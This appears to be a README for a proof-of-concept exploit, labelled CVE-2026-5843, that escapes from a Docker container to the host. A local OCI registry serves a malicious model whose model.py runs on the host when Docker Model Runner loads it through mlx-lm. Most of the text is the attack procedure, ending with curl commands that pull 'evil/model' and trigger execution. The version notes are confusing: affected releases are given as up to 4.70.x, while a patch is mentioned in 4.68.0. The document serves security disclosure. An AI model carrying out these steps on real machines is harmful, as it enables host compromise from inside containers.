
mlx-lm の model_file importlib 実行パスを悪用するために、悪意のあるモデルを配信する最小限の OCI レジストリ。Docker Model Runner が推論用にモデルを読み込むと、model.py がログイン中のユーザーとしてホスト上で実行されます。
要件: Model Runner が有効な Docker Desktop ≤ 4.70.x (Apple Silicon)
# 1. Start the registry on the host
python3 poc_cve_2026_5843.py
# 2. From any container on the Docker network
docker run -it --rm curlimages/curl sh
curl -X POST http://model-runner.docker.internal/api/pull \
-H 'Content-Type: application/json' \
-d '{"name":"localhost:5555/evil/model:latest"}'
curl --max-time 120 -X POST http://model-runner.docker.internal/engines/mlx/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"localhost:5555/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
出力はホスト上の ~/Desktop/mlx.txt に書き込まれます。
詳細な解説: https://davidrochester.com/posts/container-escape-via-inference
trust_remote_code=True、同じ攻撃面、Docker Desktop 4.68.0 でパッチ適用済み